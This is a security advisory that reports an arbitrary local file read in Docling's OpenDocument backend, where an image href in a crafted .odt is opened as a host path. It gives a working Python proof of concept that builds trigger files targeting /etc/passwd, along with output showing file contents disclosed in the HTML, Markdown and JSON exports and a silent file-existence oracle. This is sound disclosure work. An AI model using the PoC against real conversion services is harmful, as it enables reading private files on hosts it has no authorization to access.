Vulnerability GHSA-4xhp-xg4w-8ppm

Summary

The ODF backend resolves the xlink:href of a draw:image element as a filesystem path whenever the referenced part is not found inside the document archive. The value comes straight from content.xml, so it is document content, and it is used with no scheme check, no confinement to the extraction directory, and without consulting the enable_local_fetch / enable_remote_fetch controls that the other backends use for exactly this decision.

Converting a crafted .odt therefore causes Docling to open an attacker-named absolute path on the converting host. Where the target decodes as an image, its complete contents are embedded in the resulting DoclingDocument and appear in the HTML, Markdown and JSON exports.

Both the read and the disclosure are confirmed by execution. The trigger is a 452-byte archive containing two entries.

Affected component

docling/backend/opendocument_backend.py, in _image_ref_from_odf_image:

image_url = _odf_image_href(image)
...
if image_data is None and odf_obj is not None and image_url:
    try:
        image_data = odf_obj.get_part(image_url)
    except Exception:
        image_data = None
 
if image_data is None and image_url:
    image_path = Path(image_url)
    if image_path.is_file():
        image_data = image_path.read_bytes()

_odf_image_href returns the xlink:href attribute. The in-archive lookup is attempted first; when it fails, the same string is handed to Path and read from disk.

The only filter on the way in is _odf_image_can_be_bitmap, which admits any path whose suffix is one of .bmp, .gif, .jpeg, .jpg, .png, .tif, .tiff, .webp, or empty. The empty-suffix case is what admits most paths of interest on a Unix host, /etc/passwd among them.

The backend does not use the project's own fetch controls

$ grep -n "enable_local_fetch\|enable_remote_fetch\|image_resource_loader" \
      docling/backend/opendocument_backend.py
$

Nothing. The HTML, Markdown, EPUB and XBRL backends all resolve image resources through docling/backend/utils/image_resource_loader.py, where enable_local_fetch and enable_remote_fetch both default to False. The ODF backend reimplements image loading and does not consult either, so the default of not fetching local resources is not applied on this path.

That is the substance of the report: the control exists, it is off by default, and this backend does not reach it.

Affected versions

Introduced by commit e2afe381, "feat: Add OpenDocument backend support and improve ODF image/table handling" (#3480), 2026-06-24. First released in v2.107.0.

Affected: docling >= 2.107.0, up to and including 2.117.0 and current main (52d8a6f24de7318a9ad4be2a7361ba93fc81a5c1).

Subsequent commits touching this file — 2c3e55b3 (skip a draw:object with a missing embedded part), b627ca91 (preserve content inside sections), 2ec33bc7 (guard backend imports) — address unrelated defects and leave the path resolution unchanged.

Reproduced on two independent machines:

Proof of concept

Trigger

An .odt needs only mimetype and content.xml. No manifest, no styles, no embedded image part.

import zipfile
 
CONTENT = (
    '<?xml version="1.0"?><office:document-content '
    'xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" '
    'xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" '
    'xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" '
    'xmlns:xlink="http://www.w3.org/1999/xlink" office:version="1.2">'
    '<office:body><office:text><text:p>'
    '<draw:frame><draw:image xlink:href="{href}"/></draw:frame>'
    '</text:p></office:text></office:body></office:document-content>'
)
 
def build(path, href):
    with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as z:
        zi = zipfile.ZipInfo("mimetype", date_time=(1980, 1, 1, 0, 0, 0))
        zi.compress_type = zipfile.ZIP_STORED
        z.writestr(zi, "application/vnd.oasis.opendocument.text")
        zi = zipfile.ZipInfo("content.xml", date_time=(1980, 1, 1, 0, 0, 0))
        zi.compress_type = zipfile.ZIP_DEFLATED
        z.writestr(zi, CONTENT.format(href=href))
 
build("odt_etc_passwd.odt", "/etc/passwd")
build("odt_control.odt", "Pictures/image1.png")

With the fixed archive timestamp above the artifacts are byte-reproducible:

Without the fixed timestamp the archive size varies by a few bytes with the length of the href string, which is the only part that changes.

Conversion — public API, default install, no options set

from pathlib import Path
from docling.document_converter import DocumentConverter
from docling_core.types.doc import ImageRefMode
 
doc = DocumentConverter().convert(Path("trigger.odt")).document
print(doc.export_to_html(image_mode=ImageRefMode.EMBEDDED))

The read itself is observed with sys.addaudithook, which records every open without modifying Docling or any dependency.

A self-contained script, odf_repro.py, is attached. It creates its own canary image in a fresh temporary directory, builds the trigger and the control, converts both, and reports the read, the disclosure in each export format, and ten consecutive repetitions.

Output — disclosure

python        3.14.4
docling       /home/asus/CVE/docling/docling/__init__.py
canary        /tmp/odf_canary_eoz7_2d8/canary.png  (104 B, sha256 b9c57d2dc728be7f)
trigger       odf_trigger.odt  (471 B, sha256 341d060294c90447)
 
file opened outside document : True  ['/tmp/odf_canary_eoz7_2d8/canary.png', ...]
contents present in html     : True
contents present in markdown : True
contents present in json     : True
 
control (in-archive href)    : disclosed=False
determinism                  : 10/10
 
----------------------------------------------------------------------
RESULT: REPRODUCED
----------------------------------------------------------------------

The canary is written outside the working tree and is never placed inside the archive. The sha256 of the base64-decoded image in the export matches the source file exactly.

The control is the ordinary ODF convention, xlink:href="Pictures/image1.png". It resolves inside the archive and discloses nothing, through the same function. That is what separates this from intended behaviour.

Output — read of a non-image path

The read happens before any decoding is attempted, so it is not confined to image files.

/etc/passwd                  status=success  opened=['/etc/passwd']
/etc/does_not_exist_9c1f     status=success  opened=[]

Both conversions report success. Only the existing path is opened. Nothing in the conversion result distinguishes the two cases, so the difference is usable as a silent file-existence oracle against arbitrary paths.

Impact

Confirmed by execution, default install, no options set:

1. Arbitrary local file read. A converted document names an absolute path and Docling opens it. Observed for /etc/passwd and for paths with no extension.
2. Silent file existence and readability oracle. Present and absent paths are distinguishable by side effect while conversion reports success either way.
3. Full content disclosure. Where the target decodes as an image, its bytes are embedded in the DoclingDocument and appear base64-encoded in the HTML, Markdown and JSON exports, byte for byte. The disclosure in (3) is bounded to files Pillow can decode, and I would rather state that plainly than overstate the finding. On a document-conversion host that class is not marginal: page images from other conversions, scanned documents, cached artifacts and screenshots are exactly what such a service accumulates. The project README describes "local execution capabilities for sensitive data and air-gapped environments", which is the deployment where host-side file disclosure carries the most weight.

Not demonstrated, and stated as such. I have not tested this behind docling-serve. .odt is an accepted input format there, json is an accepted output format, and the service defaults to binding 0.0.0.0 with DOCLING_SERVE_API_KEY unset, so on the face of it the same defect is reachable by an unauthenticated remote caller with no user interaction. I have not run it, so I am raising it for you to check rather than presenting it as a result.